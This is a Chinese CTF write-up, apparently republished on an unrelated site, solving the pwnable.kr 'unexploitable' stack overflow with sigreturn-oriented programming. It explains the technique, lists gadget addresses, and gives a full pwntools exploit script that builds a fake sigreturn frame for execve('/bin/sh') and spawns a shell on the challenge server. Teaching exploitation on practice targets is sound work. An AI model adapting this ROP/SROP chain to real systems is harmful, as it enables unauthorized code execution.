pwnable.kr unexploitable题解

您所在的位置:网站首页 lotto下载 pwnable.kr unexploitable题解

pwnable.kr unexploitable题解

2023-08-24 19:33| 来源: 网络整理| 查看: 265

前言

这次的大作业可以算是《漏洞分析》这门课有史以来难度最大的一次了。刚接触这道题的时候基本上没思路,加上心思浮躁,在网上疯狂找wp,看了十几篇依旧没看出个门道。于是决定静下心来,先仔细研读了几篇SROP相关的文章,了解基本原理,再一点一点地动手尝试。当然这个历程也是比较艰辛的,一次又一次把自己绕晕,失败,曾经很多次想过干脆换一道题算了,好在最后没有放弃,做出来了,收获满满。

代码分析 #include void main(){ // no brute forcing sleep(3); // exploit me int buf[4]; read(0, buf, 1295); }

这道题的代码可谓是相当简单了,用sleep禁掉了暴力的可能性,main函数里定义了一个缓冲区,然后调用read向其中写入1295个字符,很明显的缓冲区溢出。

难点分析

首先checksec看一下保护情况 在这里插入图片描述 64位程序,没有金丝雀,开启了栈不可执行,所以首先想到的是ret2libc,于是找了下libc信息 在这里插入图片描述 发现并没有可以利用的函数,那么只有往ROP方面去想了。 关键是在于找到内存中可以利用的gadgets,去控制寄存器的值并构造函数调用链,以及调用syscall实现自己的目的。

有关SROP

首先一个进程P从接收到一个signal到恢复进程P执行,正常情况下会经历如下过程: 在这里插入图片描述 进程P收到中断信号后,内核会为其保存上下文到栈上,具体的结构如下图

在这里插入图片描述 保存完毕后,内核就会将控制流交由Signal Handler进行相应的中断处理,中断处理函数结束后,ret指令会将ip指向sigreturn系统调用代码,即为原先的进程恢复上下文。 这里就存在一个问题,保存下来的sigFrame完全存在于用户空间,进程P对它可读可写,如果我们伪造一个假的sigFrame,将其中的rax置为59,rip置为syscall的地址,rdi设置成"/bin/sh"字符串的地址。当sigreturn系统调用完成后,等于帮我们“恢复”出了一个恶意shell的进程,从而造成了控制流劫持。

思路

利用Linux下SROP攻击技术,触发Linux下的signal,在内核态对中断进程的上下文进行恢复时,利用一个我们伪造的Signal Frame,可以让内核为我们恢复一个sigFrame描述的进程,比如说execve(’/bin/sh’),就可以获得shell。 总结一下就是:

将伪造的sigFrame写到栈上将/bin/sh写到栈上寻找gadgets,控制寄存器的值,找到syscall的内存地址 解法

流程如下: 找到buf和返回地址的距离,缓冲区溢出,构造一次read的函数调用,目的是为了将伪造的sigFrame读入内存,控制流再交由main重新执行read,再通过缓冲区溢出构造一次read的函数调用,目的是将/bin/sh读入内存,同时将pop rbp;ret;的指令地址,sigFrame的地址,以及leave的指令地址写到栈上,目的是将rsp和rbp劫持到sigFrame的位置,最后执行syscall拿到shell

寻找buf与返回地址的距离 在read语句后下断点,用AAAA试探 在这里插入图片描述 打印当前栈帧信息 在这里插入图片描述找到前rbp存放的位置 查看堆栈信息 在这里插入图片描述 距离前rbp有16个字节,距离返回地址24个字节

找到read函数的地址0x601000 在这里插入图片描述 将程序拖到ida中,看下哪里适合写入我们的sigFrame 在这里插入图片描述 data段和bss段都有可读可写权限,地址为0x601018,0x601028

然后再从内存里找到我们需要的gadgets(这里还不会用工具搜QAQ,就直接用别人找好的了) syscall 寄存器赋值 寄存器赋值 劫持rbp 劫持rsp 接下来就可以构造第一段payload了

def read_poc(addr,maxlen): tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen) tmp += p64(gadget_2)+'a'*0x38 return tmp poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr)

栈布局变成如下 在这里插入图片描述 main函数返回后,跳转执行read,将如下伪造的sigFrame读入到内存中

frame = SigreturnFrame(kernel='amd64') frame.rdi = data_base # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rax = 59 frame.rip = syscall_addr

第二段payload如下

poc = p64(0)+p64(syscall_addr)+str(frame)

read执行完后,又跳转到main从头开始执行,我们如法炮制,继续缓冲区溢出,再次劫持程序到read函数,构造第三段payload

poc = 'a'*24+read_poc(data_base,15) poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr)

执行完后栈上的布局如下 在这里插入图片描述 第四段payload,也就是读入/bin/sh

r.send("/bin/sh".ljust(15,'\x00'))

read函数执行完后,rbp和rsp被劫持到sigFrame的位置,ret指令使程序开始执行syscall,此时rax里的值是15,即进行sigreturn系统调用,内核从我们伪造的sigFrame中恢复出了一个shell。 在这里插入图片描述 攻击成功!!! 附完整攻击代码

from pwn import * context(arch='amd64') leave_addr = 0x400576 #leave ret read_got = 0x601000 #read_got_addr main_addr = 0x400544 #main_start_addr frame_base = 0x601028 #fake_sig_frame data_base = 0x601018 #/bin/sh pop_rbp = 0x400540 #pop rbp ret gadget_1 = 0x4005e6 #mov rbx,[rsp+8h];mov rbp,[rsp+10h];mov r12,[rsp+18h];mov r13,[rsp+20h];\ #mov r14,[rsp+28h];mov r15,[rsp+30h];add rsp,38h;ret;......;ret gadget_2 = 0x4005d0 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call qword ptr [r12+rbx*8] syscall_addr = 0x400560 #syscall #r = process("./unexploitable") s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222) r = s.run('./unexploitable') def read_poc(addr,maxlen): tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen) tmp += p64(gadget_2)+'a'*0x38 return tmp # write sigreturn frame frame = SigreturnFrame(kernel='amd64') frame.rdi = data_base # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rax = 59 frame.rip = syscall_addr poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr) r.send(poc.ljust(1295,'\x00')) sleep(0.1) poc = p64(0)+p64(syscall_addr)+str(frame) r.send(poc.ljust(0x500,'\x00')) poc = 'a'*24+read_poc(data_base,15) # rax = 15 && write "/bin/sh" to data_base poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr) # rsp => bss_base r.send(poc.ljust(1295,'\x00')) sleep(0.1) r.send("/bin/sh".ljust(15,'\x00')) sleep(0.1) r.interactive()


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3